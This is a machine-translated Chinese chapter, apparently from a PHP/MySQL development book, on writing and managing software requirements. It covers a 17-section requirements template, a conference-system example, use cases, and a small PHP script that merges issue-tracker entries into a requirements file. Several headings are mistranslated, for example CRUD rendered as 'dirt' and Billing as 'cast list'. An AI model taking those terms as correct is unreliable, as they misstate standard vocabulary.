- 文档:提供给用户、管理员和开发人员的内部和外部文档。
- 培训:针对用户、管理员、开发者。
- 支持和维护:持续支持(错误、功能请求、使用问题)和更新。
- 转换:从以前的系统或其他记录(电子或纸质)转换到新系统。
- 用例:参与者(人或其他系统)和应用之间交互的详细描述,产生对参与者有价值的结果。
始终包括所有 17 个部分,即使没有什么要做的(例如,计费或转换),在这种情况下,该要求将被表述为负面的(“将不支持计费。”).这可以防止客户错误地认为会包含某些内容。(“我知道我们没有明确指定培训,你这个笨蛋,但所有系统都有培训!”)此外,如果事实证明你不是唯一一个竞争这份工作的人,这将有助于确保你在一个公平的环境中竞争。
粗略的初稿:没有细节的范围
客户一开始并不知道他们所有的需求是什么。他们必须先看到系统。他们会看到一些他们绝对不喜欢的东西,这将有助于他们清楚地表达他们想要什么。这一直是正确的,也是敏捷方法的基石。
但是,在某种程度上,客户确实知道他们想要什么,这就是你需要在需求的初稿中捕捉到的。不知道报告应该是什么样的?那么报告部分可以说:“将会有报告。”不准备任何文档吗?然后说:“不会有文档。”这可能会导致客户说:“你说没有文档是什么意思?我们需要文档!”看,顾客确实知道他们想要什么,只是不知道细节。第一稿对应的是他们知道自己想要的东西,对于他们含糊不清的东西也是含糊其辞。你在项目开始的时候,在任何开发开始之前写下第一份草稿。这些不仅仅是及时的需求;它们是预先的要求。
对于许多部分,我只是不相信等到开发进行到一半,并能够试用半打的临时版本会帮助客户知道答案。我可以想出一个奇怪的场景,在这个场景中,直到有机会试用这个系统,客户才知道是否需要德语本地化,但是,实际上,在这个过程中什么也不会发生。跟营销有关,跟动手使用系统无关。对于外部接口、计费、安装、文档、转换和一些其他部分也是如此。这些决定可以在一开始就做出,也应该这样做,因为它们对设计和开发有着巨大的影响。
另一方面,任何与用户界面设计、报告和处理相关的东西都应该在开始时以最普通的方式指定。对于这些问题,需求应该随着开发人员和客户将一个活的(如果不完整的)系统作为实验室一起工作而发展。
在项目的开始和整个过程中,最重要的是范围被描述出来,所以很清楚应用应该解决多少问题,同样重要的是,它不会解决什么问题。它如何解决它应该解决的问题——细节—应该稍后指定,要么是因为直到后来对它了解得还不够,要么是因为开发人员直到后来才需要细节,或者两者都有。如果开发人员稍后才需要细节,比如到底需要什么样的报告,它们看起来像什么,那么最好等等。对细节的任何猜测都可能改变,当客户和开发人员都非常积极地在系统的这一部分工作时,最好在他们之间合作解决问题。当有这么多其他事情要考虑的时候,任何一方都不倾向于一开始就考虑这些细节。
以下是我对世界事务会议(CWA)系统的需求文档的初稿:
- 数据库:输入城市是人、小组、话题、场地、捐赠、房子、旅行。
- CRUD :每个实体的一个 web 页面,包含一个表单,每个表单中有一个字段。
- 处理:无。(应用几乎只是将数据从一个地方推到另一个地方,实际上并不做任何事情)。
- 报告:小组成员、Alpha 列表、稳定列表、Betty 表、Trips、住房。稍后将详细说明更多内容。样品已经提供。(阿尔法列表、稳定列表和贝蒂工作表是 CWA 术语;它们是什么意思并不重要)。
- 外部接口:无。完全独立。可能会有一个报告来获取数据,以填充 CWA 网站上的在线时间表,但这只是一个 CSV 文件。
- I18N 和 L10N :无;仅限英语。(虽然数据本身可以是 Unicode)。
- 可访问性:除了操作系统提供的功能(例如,更大的光标)。
- 用户管理:管理员和用户登录。没有更精细的限制。
- 计费:无。
- 浏览器和平台:MAC OS 上的 Safari 和 Chrome,Windows 上的 Internet Explorer 和 Chrome。仅最新的浏览器;不会花力气去支持非常老的浏览器。手机没什么特别的。如果它能在 iPhone 上运行,那很好;如果没有,运气不好。
- 安装:没有,除了科罗拉多大学管理服务部运行的单一生产系统。
- 容量:五到十个同时使用的用户。数据库必须保存 80 年的数据(CWA 始于 1948 年),每年有 100 名专门小组成员和 200 个专门小组。多达一万名捐赠者。
- 文件:无。
- 培训:没有正式的培训,但是开发者偶尔会和用户见面。
- 支持和维护:通过电子邮件提供支持。偶尔打个电话也可以。该系统将根据需要在未来几年进行更新和增强。
- 转换:从现有的 Excel 电子表格和 FileMaker 数据库。CWA 办事处将提取数据,并通过电子邮件发送给开发商。
- 用例 : TBD(待定)。(在第一稿中遗漏了,尽管我对该系统应该如何使用有一个非常清晰的想法,并有许多来自我要替换的系统的截图、报告和注释)。
答对了。的要求!只花了大约半个小时就写完了,它们的范围是完整的,没有遗漏任何东西。嗯,除了细节:CRUD 页面看起来像什么,报告是什么。
实际上,我在开始时对 CWA 人说的甚至没有 17 部分的需求文档详细:“系统将处理专家组、专门小组成员和其他人,以及捐款,它将生成所有你习惯拥有的报告。”这正是他们想听到的。
有了需求,我就投入到开发中。我从数据库设计开始,这也是您应该开始的地方。(提醒:本章和书的其余部分只讲 PHP/MySQL 应用。)然后,为了检查数据库,我进行了转换。有了数据库中的一些真实数据,我开始研究报告,使用以前会议的样本作为指南。那时,我非常确定数据库设计基本上没问题。随着开发的进行,必须对它进行修改,这是常有的事,但它基本上是正确的。
我没有向 CWA 办公室的工作人员出示任何报告,因为它们与工作人员提供给我的样本完全相同。我还没有准备好了解员工可能需要的新报告。通过以数据库为中心的设计,可以在不影响系统其他部分的情况下添加报告,所以我并不担心。
此时,我已经为 CRUD 页面做好了准备。我猜测了一下什么可能有用。每次我向用户展示我所拥有的东西时,他们都会提出改进的建议。这是开发中最耗时的部分,也是用户投入最多的部分。最终,我们拿出了一套他们满意的 CRUD 页面,我们采用了这些页面,并在他们使用系统时做了一些额外的调整。
报告也是如此。正如我所说的,我精确地复制了过去几年的报告(大部分来自 Excel ),当 CWA 的员工提出想法时,我们添加了半打额外的报告。我还放入了一个通用的基于 SQL 的查询工具,最初是供我自己使用的,但是助理 CWA 协调员非常喜欢它,她自学了 SQL 并开始使用它。她开发了一套大约十几个固定的查询,这些查询本可以由我按照她的要求开发的报告来处理,但是我不需要做任何事情。也许这种程度的主动性是大学助理协调员独有的,但你应该检查一下。你的用户可能比你想象的更有能力。
在这一章的结尾,我将把我的方法称为计划敏捷,我从 20 世纪 60 年代末就开始使用这种方法。它足够敏捷(小写的“a”),但是在任何开发开始之前有一个规划/设计阶段。
仔细查看需求部分
下面是对 17 个需求部分的一些附加注释。
数据库
这是第四章的主题。
污垢
对于我开发的每一个 PHP 应用,所有的 CRUD 页面都遵循一个模式:有一个简短的查询表单,有时只有一个字段(例如,姓氏),和一个搜索(或查找)按钮。单击该按钮将查询数据库并显示一个行(记录)列表,每一行都由最少量的数据汇总,如姓氏和名字,并有一个关联的详细信息按钮,每行一个。单击 Detail 显示该行的所有数据,此时用户可以读取数据(CRUD 中的 R )或更新数据( U )。细节按钮旁边还有一个删除行的按钮( D )。顶部的按钮显示一个空表单,用于创建( C )新行。
在开始时向客户展示一个 CRUD 页面的模型是一个好主意,可能在 PHP 文件中有一些样本数据,因为数据库可能还没有准备好。每个页面都有一个共同的布局,像一个标志,一个帮助按钮,和应用的关键部分的链接,你也可以展示一个模型。例如,图 2-1 显示了 CWA 主题页面的样子。
图 2-1 。主题 CRUD 页面
主题(小组成员谈论的内容)可以通过代码或年份进行检索。图 2-2 显示了您点击搜索时看到的部分内容:
图 2-2 。检索到的主题
如果客户能看到 CRUD 交互的例子,他们就能想象出开发的方向。他们中的一些人习惯于桌面应用,可能从来没有使用过 web 数据库应用,所以他们适应 PHP/MySQL 应用是什么样子是很重要的。事实上,如果他们曾经在亚马逊上买过东西或者访问过脸书,他们就会使用这样的应用,但是也许他们从来没有意识到这一点。
我的 CWA 应用将会有一个比亚马逊或脸书少得多的用户界面,我希望我的客户也知道这一点。对于您将要构建的大多数简单的 PHP/MySQL 应用来说,并不需要大量复杂的 JavaScript 来使页面具有高度的交互性。你也不太可能想雇佣(或者没钱雇佣)世界级的图形设计师。我做自己的设计;它们很笨重,但很实用,而且我的客户也买得起。这是关于设定期望值。
处理
如果在这一部分中有任何事情,您将希望首先安排它的开发,因为复杂的处理需要未知数量的开发时间,并且需要未知数量的验收测试。它甚至可能是一个研究项目。
或者,也许不是。当我们开始为 Windows 构建 SuperSked 超市调度应用时,我们已经有了来自基于字符的 UNIX 系统的调度模块,我们所要做的就是将它从 Fortran 翻译成 c。这需要时间,但不涉及任何研究或实验,而且单元测试已经构建好了。
数量惊人的应用不做任何处理。它们只是垃圾和报告,CWA 系统就是这样。有些报告涉及到复杂的 SQL 和 PHP 计算来整理数据,但是我不会把它们归类为复杂到足以保证在处理部分。
报告
我在第七章讨论这个话题。
外部接口
这里我们讨论的是向应用提供数据的任何其他系统,或者应用必须提供数据的任何其他系统。在线提要往往难以实现。导入或导出数据文件更容易,因为您只需处理数据格式,而不必处理复杂的数据传输。
客户可能在项目开始时就知道这些是什么。在接下来的三个月或六个月的开发中,不会发生任何事情来揭示外部接口是什么。
也许您在开始时所能做的就是枚举接口。收集技术文档和组装第三方组件(例如,开放数据库连接(ODBC)驱动程序和数据格式库)可能需要时间,但至少您知道需要什么。
将与外部接口相关的任何事情都视为高风险,因为您永远不知道那些第三方组件会工作得多好,以及其他系统有多可靠。高风险建议您在计划的早期进行开发工作,这样您可以尽早得到所有的坏消息。
有时,唯一的外部接口是将数据以 CSV 或 XML 等易于处理的格式提供给另一个系统。在这种情况下,工作并不比报告复杂多少,但我仍然会将它列在这一部分,并尽早完成,因为在您尝试之前,您永远不知道下游系统将如何处理您的数据。此外,虽然 XML 定义良好,但 CSV 却不是。系统以各种方式处理逗号和引号,或者有时根本不处理。
I18N 和 L10N
国际化,或 I18N,意味着设计应用,使其可以本地化为一种语言和文化。通常,字符串是最大的问题,但是日期、时间、数字和货币单位也可能涉及到。
提供 I18N 机制使系统适应特定语言和文化所需的任何东西称为本地化(L10N)。您可以本地化任何应用,即使它不是为 I18N 设计的,方法是复制源代码并对其进行更改。但这是一种可怕的方式。如果本地化是可能的,你需要 I18N。
如果你在一开始就为它设计,I18N 是相当容易的,但是在应用完成之后再添加就太麻烦了。通常,处理字符串的方法是从表中取出用户界面上出现的任何内容,每个本地化版本都有自己的表。然而,有两个复杂因素。
- 几乎每种语言都比英语冗长,所以本地化的字符串会弄乱你的页面布局。
- 从右向左的语言可能需要特殊处理。
PHP 有本地化日期和时间的库函数,数字和货币单位也很容易处理。
一旦为 I18N 设计了应用,就必须为每个必需的地区提供本地化。这项工作通常由外部承包商完成,他们有一批能胜任这项工作的员工。试图通过使用谷歌翻译或依靠你的高中语言课程来廉价地自己完成它可能是一个坏主意。
可访问性
此部分应包含使应用可供残障人士使用的任何要求。构建这样的 web 应用并不难,因为真正的工作是由浏览器和运行它的操作系统(OS)来完成的。真正的问题是你是否有预算和时间对残疾用户进行测试,这是判断你的设计是否成功的唯一方法。
更多信息,谷歌“网页内容可访问性指南。”
用户管理员
你肯定想实现一个登录机制,我会在第六章中给你所有你需要的代码。复杂的部分是如果你需要不同类别的用户。例如,CWA 的一些数据是由学生输入的,尤其是捐款,这些数据是定期输入的。但我们不希望这些学生接触到小组成员的数据,其中大部分是保密的。
我们认为不同类别的用户对于第一版的 CWA 系统来说太复杂了,需求也说明了这一点。(在第七章中,我会解释如果你必须这么做,你会怎么做。)
演员表
使用可能按月或年、按会话、按访问的信息(例如,每个信用报告这么多)或以其他方式计费。如果你有这样做的需求,你将不得不实现必要的簿记。也许你还得开账单。这可能会变得非常复杂,所以请确保您明确地陈述了任何需求。
浏览器和平台
你通常不关心用户的电脑或操作系统,只关心他或她的浏览器。HTML、CSS 和 JavaScript 标准在过去的几年里有了很大的发展,所以支持任何比最新版本旧的浏览器都意味着额外的工作,包括实现和测试。即使进行了测试,如果用户的浏览器与开发团队的不同,问题还是会出现。
如果可能的话,只允许少量的浏览器,并且只允许最新版本的浏览器。如果客户在一个组织内,并且可以自由升级他们的计算机,这是可行的,但是如果网站对全世界开放,这是不切实际的。在这种情况下,您将面临许多实现问题和测试。所以你最好确保你陈述了任何支持老浏览器的需求。
在应用主要运行的服务器端,您关心 PHP 和 MySQL 版本。几乎可以肯定的是,web 服务器将会是 Apache 或 IIS,这一点无关紧要,操作系统也是如此,它将是某种形式的 UNIX(可能是 Linux 或 BSD)或 Windows。OS X 服务器或其他任何东西是非常罕见的。
为了简单起见,看看你是否能写出在服务器端指定 LAMP 的需求:Linux、Apache、MySQL 和 PHP。使用 BSD 而不是 Linux 没有关系,但是任何其他不同的东西都会导致通常可以避免并且应该避免的复杂性。
装置
让系统可安装是很难的,但是 web 应用的美妙之处在于它们通常不需要安装超过一次。如果可以,请详细说明。在第三章中,我将讨论如何搭建你需要的平台。这就是你想要的所有安装。如果系统必须是一个可安装的产品,确保它在需求中,这样你就可以安排额外的开发和测试。
容量
容量可能无关紧要,如 CWA 应用;或者重要但合理,如 Rgrade(成绩单应用);或者极具挑战性,如脸书(实际上是用 PHP 和 MySQL 实现的)。在任何情况下,你必须知道,这样你才能相应地计划。添加应用服务器没有问题,因为每次登录都是独立的。但是一旦数据库对于单个实例来说太大,事情就会变得非常复杂,大大增加了开发成本。
文件
文档—包含应用交付给用户的任何信息材料,包括帮助文件、在线手册、印刷书籍和快速参考卡,以及为将来维护提供的任何内部文档(代码注释除外)。
如今,内部文档非常罕见,我已经好几年没见过了。有时像 Doygen 这样的系统会自动生成文档,但这不算,因为它是自动生成的。有时特殊格式的注释被添加在每个函数的正上方;如果你这样做,确保它们随着代码的变化而更新。
写一本合适的用户手册,我已经做了很多,这是一个巨大的工作,所以,如果你已经承诺写一本,确保它的人员配备、时间安排和费用。帮助文件更简单,因为它们更短、更简洁,但是它们仍然需要时间来做好。
培养
对于一个内部的应用,用户希望得到培训,但这可能不是由开发人员进行的。大多数情况下,你会被要求培训用户组织中的一些关键人员,他们会进行实际的培训。你所做的培训可以是非正式的——不需要数百张幻灯片。
除非您的应用非常昂贵,否则商业用户不会期望任何培训。大多数情况下,有些人会希望看到一些用截屏工具和一些旁白拍摄的培训视频。
无论你计划做什么,确保它在需求中。
支持和维护
总会有支持和维护,除非你是员工,否则你通常会按开发费用的小时费率收费。在需求中可以这样表述。您需要特别注意的是,是否有任何 24/7 或周末可用性的预期、任何电话支持或任何其他不应留给客户想象的东西。
转换
关于转换有很多要说的,都在第八章中。
用例
这很重要;这将在本章后面的单独一节中讲述。
当要求改变时
注意是“当”,不是“如果”需求总是在开发期间甚至开发之后发生变化,因为世界在变化,随着系统的实现,对它需要做什么有了更好的理解。由于需求开始时缺少很多细节,它们最好改变,否则开发人员不知道该做什么。你可以推迟确定需求,但不能永远推迟。
在时间安排和人员配备之前或同时编写初始需求,会产生一个基线需求文档。这可以称为需求开发。随后改变基线的是需求管理。当需求变更时,您必须执行两个基本活动:记录变更和修改需求文档。
测井要求变更
在我在第一章中描述的问题跟踪系统中记录每一个需求变更的请求,这个系统用于记录 bug 和其他支持问题。这个过程至少有三个目的。
- 确保提议的变更不会放错地方或被忽略。
- 将其列入状态或计划会议的议程。(我通过问题跟踪组织所有此类会议)。
- 记录这一变化,以防将来有人想知道为什么进度落后。
我喜欢让事情变得非常简单,你已经知道了。只需记录收到的文本(例如,电子邮件的文本或从备忘录中复制的文本)、简短的标题(五到十个单词)、唯一的 ID(例如,1234、REQ-0123 或让跟踪者生成一个 ID)、日期、发件人、类别(“需求”)和状态(“建议”)。然后,如果获得批准,将其状态更改为“approved ”,并根据需要编写新的文本,以准确记录批准的内容。保持原文不变。我使用的问题跟踪器 HESK 不允许我定制状态,所以我给新的需求一个“进行中”的状态,然后当它们被批准时,将它们更改为“已解决”。
当需求被安排到一个特定的版本时,填写一个版本号字段。然后,问题日志成为发布内容的最终列表。修复的 bug 得到同样的待遇。
一个很大的错误是在问题跟踪器中定义了如此多的字段,以至于记录所有内容成为一种负担。不要忘记你的工作是实现应用,而不是因为记录你是如何做的而获奖。
修改需求文件
这里也一样,把记账保持在一个容易做的水平,以增加你实际做的机会。(反正我就是这样。)我喜欢让需求文档保持最新变得非常容易。
正如我在第四章中解释的,数据库设计中的一个重要原则是,相同的数据不应该出现两次,因为副本很容易失去同步。这也适用于这里:当问题已经在问题跟踪器中时,您不希望在需求文档中有问题的副本。因此,在您准备修改需求文档之前,只需通过 ID 引用一个新的需求。(这就像在数据库中使用外键一样。)当您修订文档时,问题跟踪者的副本不再是主要参考,并且应该以这种方式进行标记,这样您就知道了。在本节的剩余部分,我将一步一步地介绍所有这些内容。
为了使通过 ID 引用问题的需求变得更加容易阅读,从问题跟踪系统中生成一个批准的需求报告来伴随需求文档是非常方便的。对于读者来说,这仍然意味着要来回奔波。更好的方法是使用一个脚本,自动将跟踪程序中的问题文本插入到需求文档中。用运行在 Microsoft Word 中的 Visual Basic 脚本来实现这一点是可能的,尽管我还没有尝试过。如果您以纯文本的形式编写需求文档,事情会简单得多,正如我将要演示的那样。
请注意,这并不违反一份拷贝的规则,因为源文档只有一个对问题的引用。自动插入问题文本的组合文档仅供查看,不可重新编辑。只是一份报告。
举个例子,考虑清单 2-1 中的基线需求,它可能会被输入到文本编辑器中。
清单 2-1 。住房报告基线要求
Housing Report
One row for each participant or other person to be housed.
Columns: Name, Companion, Housing Committee Contact, Housers Names, Houser Street/ZIP, Houser Phone, Arrival Trip Details, Departure Trip Details, Days Here, Smoking OK, Pets OK, Participant Notes
See sample from last year for format and other details.
假设一个需求变更被批准。在 HESK issue tracker 中为 Issue 1553,如图图 2-3 所示。
图 2-3 。更改住房报告要求
当这个变更被批准时,需求被编辑以通过其 ID 引用问题,如清单 2-2 中的所示。
清单 2-2 。参考第 1553 期的房屋报告基线要求
Housing Report
One row for each participant or other person to be housed.
Columns: Name, Companion, Housing Committee Contact, Housers Names, Houser Street/ZIP, Houser Phone, Arrival Trip Details, Departure Trip Details, Days Here, Smoking OK, Pets OK, Participant Notes
See sample from last year for format and other details.
{Issue 1553}
现在来看最精彩的部分:由于所有的问题都在 MySQL 数据库中(这是我选择 HESK 的一个原因),而需求文档是一个文本文件,所以很容易编写一个结合两者的 PHP 程序,如清单 2-3 所示。
清单 2-3 。将问题插入需求文档
define(DB_USER, "rochkind_hesk");
define(DB_PASSWORD, "...");
$pdo = new PDO('mysql:host=localhost;dbname=rochkind_hesk',
DB_USER, DB_PASSWORD);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$s = file_get_contents("CWA-requirements.txt");
$s = str_replace("\n", "<br>", $s);
while (preg_match('/^(.*)\{(\w+) (\d+)}(.*)$/s', $s, $m))
$s = $m[1] . issue($m[2], $m[3]) . $m[4];
echo $s;
function issue($cmd, $n) {
global $pdo;
$stmt = $pdo->prepare("select id, subject, message from
hesk_tickets where id = :id");
$stmt->execute(array('id' => $n));
if ($row = $stmt->fetch()) {
if ($cmd == "Issue")
return "
<table border=1 cellspacing=0 cellpadding=10>
<tr><td>
<p><b>Issue {$row['id']}: {$row['subject']}</b>
<p>{$row['message']}
</table>
";
else
return "<br>Issue {$row['id']}: {$row['subject']}";
}
else
return "<b>[Can't locate Issue $n]</b>";
}
PHP 程序用数据库中的数据替换了“{Issue 1553}”,输出如图图 2-4 所示,更容易阅读。
图 2-4 。综合要求
作为一名高级 PHP 程序员,您应该能够看到这个程序在做什么,但这里有一个非常简短的演示:分配或引用变量$pdo
的代码行打开一个到 HESK 数据库的 PDO 连接,并在函数issue
内获取该问题的 ID、主题和消息。(我在第五章的中更多地谈到了 PDO。)
对file_get_contents
的调用从需求文档本身读取整个文本,下一行放入 HTML brk
标签来维护段落。接下来是一个preg_match
循环,用包含问题细节的 HTML 替换问题引用(例如,“{Issue 1553}”),这些细节由对函数issue
的调用提供。然后输出处理后的文本。
该函数在数据库中查询问题数据,如果需要完整的问题,则将数据格式化为表格,否则只需要 ID 和主题。(后者我很快会解释。)
如果纯文本对您来说太简单了,对我来说也是如此,您可以使用 Markdown 来添加一些格式,为文本添加标题标记、加粗和一些其他修饰。(详见daringfireball.net/projects/markdown
。)清单 2-4 显示了添加了一些降价的需求(###
和**
)。请注意,即使有分散的减价注释,文档仍然完全可读。
清单 2-4 。添加了降价的房屋报告要求
### Housing Report
One row for each participant or other person to be housed.
**Columns:** Name, Companion, Housing Committee Contact, Housers Names, Houser Street/ZIP, Houser Phone, Arrival Trip Details, Departure Trip Details, Days Here, Smoking OK, Pets OK, Participant Notes
See sample from last year for format and other details.
{Full 1553}
你可以在michelf.ca/projects/php-markdown
使用免费的 PHP 实现 Markdown。(它也包含在本书在www.apress.com
的可下载资源中。)对 PHP 程序进行处理 Markdown 的更改是微不足道的。该文件必须包含在顶部
require_once 'markdown.php';
这两条线
$s = file_get_contents("CWA-requirements.txt");
$s = str_replace("\n", "<br>", $s);
都变成了单行
$s = Markdown(file_get_contents("CWA-requirements.txt"));
因为当出现空行时,Markdown 会自动开始一个新段落。图 2-5 显示了新的输出,现在已经格式化。
图 2-5 。输出格式 ted with Markdown
即使问题在需求中内联扩展,如果有很多变化,文档仍然可能变成不可读的拼凑物,这是肯定会有的。您可能希望在某个时候抽出时间,制作另一个版本,将所有的更改直接合并到文本中。然而,参考这些问题仍然是一个好主意。一个好的方法是在问题引用中使用“Title”而不是“issue”(加粗),如清单 2-5 所示,输出如图图 2-6 所示。
清单 2-5 。更新住房报告要求。
### Housing Report
One row for each participant or other person to be housed.
**Columns:** Name, Companion, Housing Committee Contact, Housers Names, Houser Street/ZIP, Houser Phone, Arrival Trip Details, Departure Trip Details, Days Here, Smoking OK, Pets OK, Participant Notes
Where a companion has a different arrival and/or departure flight, show that info separately in the trip columns.
See sample from last year for format and other details.
*This requirement incorporates the following issues:*
{Title 1553}
图 2-6 。更新住房报告要求
正如我所说的,一旦一个问题被合并到需求文档的修订中,它在问题跟踪器中的文本仅仅是为了历史的目的;这份文件是权威。如果必须修改需求,必须创建新的问题。我在 HESK 中添加了一个名为“InDoc”的自定义字段,以记录已经合并到文档中的问题,因此不再是主要参考。
这里显示的小 PHP 实用程序是一个很好的例子,说明了一点点代码就可以产生巨大的生产力差异。想象一下,对于每一个问题引用,都必须引用问题跟踪程序,甚至是从中生成的报告。需求文档中只引用了几个问题,这还不错,但是在现实世界中,会有上千个问题。那将是无法忍受的。
让我写这个小程序可行的是关于我如何表示需求的两个决定。
- 需求文档是一个纯文本文件,用 Markdown 扩充。
- 需求变更存储在 MySQL 数据库中,可以从 PHP 轻松访问。
全部都是用完全免费的软件完成的,几乎没有什么机制。正如建筑师密斯·凡·德罗所说,“少即是多。”扔掉微软的 Word,用一个专有的数据库把自己从昂贵的问题跟踪器中解放出来,你就真的有所收获了。
这里有另一种说法:所有的工程文档,包括需求文档,也应该能够被视为数据,任何数据库都应该允许从 PHP(或其他脚本语言)访问。不允许专有格式。
用例
PHP/MySQL 应用不会只是坐在那里。它通常被人类使用,但有时也会被其他系统使用。一个人或系统(?? 角色)和应用之间的交互的详细描述被称为用例。收集足够多的这些,你就有了一个完整的系统应该如何使用的图片。
例如,这里有一个老师记录成绩的 Rgrade(成绩单系统)的用例。
- 前提条件:安装了 Rgrade,教师设置使用它,学生在系统中,教师已经决定给什么分数。
- 登录 Rgrade。
- 导航到学生列表,按姓氏和名字(如有必要)查找学生。
- 导航到学生的成绩单。
- 找到类别和评级期间。
- 输入或更改等级。
- 保存表单,除非这是自动的。
- 验证是否输入了正确的等级。
- 后置条件:记录学生的成绩。
请注意,教师执行的实际步骤前面是前提条件,在交互发生之前假设为真,后面是后置条件,在交互之后为真。事实上,实现后置条件是交互的全部目的。
我并不知道这些步骤如何出现在帮助页面或培训手册中,因为术语不太正确(“类别”、“评分周期”、“表格”等)。).但它确实抓住了教师和升级应用之间最重要的互动。
其他 Rgrade 用例涵盖了如下交互:
- 添加不在列表中的学生。
- 删除学生。
- 更改学生姓名。
- 输入教师的评论。
- 生成草稿报告卡。
- 打印最终报告卡。
通用建模语言(UML),一个你可以在uml.org
阅读的国际标准,提供了一个用例的符号,如果你了解 UML,你可以使用它。但是写下用例比使用特定的形式来写它们更重要,而且我自己从来没有使用过 UML。编号的步骤将很适合您的用例。(不要让一种你必须以绝对正确的方式做每件事的感觉威胁到你根本不做事!)
除了有足够的用例来涵盖重要的交互之外,同样重要的是确保所有的步骤都在那里,不留任何假设。请注意,在前面的示例中,我有登录、定位类别和评分周期以及验证结果的步骤,所有这些都是假设的。现在不是言简意赅的时候。
用例本身进入需求文档的第十七部分,作为它们自己的需求。此外,它们还用于检查其他需求。你应该做的,无论是单独还是与团队一起,是慢慢地检查每个用例的每个步骤,确保一个或多个需求覆盖了执行每个步骤所必需的所有系统功能。然后根据需要添加需求。例如,步骤 6,“输入或更改成绩”,意味着必须有一个要求,提供一些编辑数据的方法。像“成绩单上的所有分数都应该是可编辑的”这样的要求就达到了目的。这个例子可能太明显了,但是实践中出现的其他例子更加微妙,如果您忽略了需求,会在以后引起问题。
一个涉及用例的完全独立的活动是确保数据库设计中有实体和属性(表和列)来支持每个用例的每一步。即使这个简单的例子也需要像教师、学生和成绩单这样的实体。类别和分级周期可能是实体,也可能是属性。当然,成绩也是需要的。因为用户登录发生在用例中,所以数据库中需要为此准备一些东西。
使用用例来检查其他需求不会完全捕获用例中的所有含义,这就是为什么它们被单独放入需求中的原因。
用例的另一个伟大之处,在其他种类的需求中是独一无二的,那就是它们是有人物和情节的小故事。因此它们更容易被应用所面向的人所理解。你可以花两个小时谈论 CRUD 需求,几乎得不到任何评论,但是当你开始浏览一个用例时,你会在最初的五分钟内被类似下面的评论所阻止:“如果两个学生有相同的名字怎么办?”或者“我们有时不得不在办公室将新生完全注册并录入系统之前给他们打分。”当你还在明确需求的时候,揭露这些混乱的现实,要比在老师们开始尝试这个系统,并决定这个系统一定是由来自德克萨斯之外的某个甚至没有在小学教过书的家伙实现的时候,要好得多。(哦,等等,原来是!)
同样有益的是像“系统不需要这样做”这样的评论。我们自己就是这样做的。”如果这是官方的说法,那么您已经节省了大量的开发时间。
总之:用例可能是需求中最重要的部分。
需求战争故事
这里有两个关于需求的真实故事,一个悲伤,一个快乐。具有讽刺意味的是,在 sad 中,需求是完整的、清晰的,并且被很好地表达出来。在快乐的一个,要求是摇摇欲坠的。悲伤的先走。我已经改了相关人员的名字。
逃跑的开发商
回到我在 1987 年创办的用户界面工具公司 XVT 软件公司,我们需要一个小的子系统,各种模块可以调用它来获取参数值。这种事情现在可以用 XML 来处理,但是,正如当时常见的那样,我们发明了自己简单的属性值语言来表示参数(例如,像 Windows INI 文件或 Mac OS plist 文件)。在几位受过高等教育的计算机科学家的参与下,我们正式指定了这种语言,没有留下任何回旋的余地。这些是完整的、清晰的、清晰的需求。
负责编写读入和访问参数的代码的开发人员开始着手这项工作,但是几个星期后他仍在从事这项工作。我认为以他的天赋,一个程序员应该能够在最多两天内编写一个小的解析器,将参数放入哈希表或类似的东西中,然后就完成了。我们是一家小公司,这只是整个系统中很小的一部分。我自己也在不到一天的时间里编写了类似任务的代码。
所以我叫他来聊天。他对自己的工作非常自豪,但还没有完全完成。我请他告诉我他是如何着手这件事的。原来他所做的根本不是编译我们简化的参数语言。他已经定义了一种描述输入规范的元语言,并且正在为那个编写一个编译器,以及一个他发明的中间语言的解释器。然后,完成了这些,他所要做的就是用他的元语言写下我们语言的规范,然后,很快!,他早就玩完了。
我不好意思说我发脾气了。我不应该,因为这是我的错。他只是做他自己。
这个故事的寓意是什么?落实要求就挺够了。一个聪明的程序员可能会超越一点,做一些明显的概括,比如如果需求是两个,就允许五个电话号码。但是,在没有这种需求的情况下发明和实现一种新的编程语言,这种做法太过分了。足够多的这种失控的开发会扼杀一个项目。
(在敏捷世界中,这被称为 YAGNI,意思是“你不需要它”,但是,当真正实践时,这就走了另一条路。有时几个需求可以被吸收到同一个通用设备中。)
阿尔扎诺牧场
我的一个熟人迈克找到我和我们共同的朋友艾伦,问我们是否愿意和他一起为一位名叫埃德·阿尔扎诺的航空公司顾问做一个小小的编程项目。基于迈克的哥哥,一位应用数学家所做的一些理论工作,埃德开发了一种新的飞机座位定价方法,以实现收入最大化。非常舒适。
我同意了,并告诉迈克我的时薪。他告诉我要多收很多钱,所以我就多收了。我们都是。
与艾德的第一次会面进行得很顺利。他概述了他需要的东西,我们都马上着手去做。迈克研究算法,接受数学训练,艾伦研究简单的用户界面,我研究后端数据管理。几个星期后,我们就完成了。我们给艾德看了,他很喜欢。他把它拿下来给一家航空公司的运营专家看,我想那家公司是位于丹佛的 Frontier。他们也很喜欢。
埃德非常激动,当我们再次与他见面时,他提出了更多的想法。我们开始修改系统。同样的事情:我们按时完成了,ed 很喜欢,然后他去演示他的发明。
下一次和艾德见面,重播。更多的变化,更多的发展,更多的示范。
几个月以来,一直如此。艾德总是很快乐,但从不满足。不是因为我们让他失望,而是因为我们的系统激励他提出新的想法。
您可能会认为几个月都没有完成,而每两周就有需求变更是一件坏事,但事实并非如此。我们喜欢这份工作,艾德正在取得真正的进步。他也是个好人。看到项目结束,我们很难过。(几年后,我听说他创办了自己的航空公司)。
我们在这场演出中赚了很多钱,以至于我们在科罗拉多州的布雷肯里奇买了一套滑雪公寓。整件事——不是分时度假。当然,我们把它命名为阿尔扎诺牧场。
寓意:这一切都发生在 20 世纪 80 年代中期;如果我想到称之为敏捷开发,我可能已经是某个人了。
好吧,一个更严肃的道德:如果需求的改变是因为现实在改变,而不是因为你没有记录它们,那么就随波逐流吧。回想一下第一章中的内容,让客户满意是项目成功的关键。
敏捷需求
在现实世界的项目中,比如建造一座桥,变更的成本在后期会变得更高,一旦开始施工就会变得令人望而却步。因此,关键阶段——需求、设计、建造、验证——必须严格按照这个顺序进行,并且在开始下一阶段之前,每个阶段都必须 100%完成,尽可能完美。
在软件开发的早期,遵循了相同的方法,在构建和验证之间增加了一个集成阶段,因为软件通常是以模块的形式开发的(有时桥也是如此)。这个就是所谓的瀑布模型,之所以这样命名是因为进步就像水从岩石上落下一样从一个阶段流向另一个阶段。
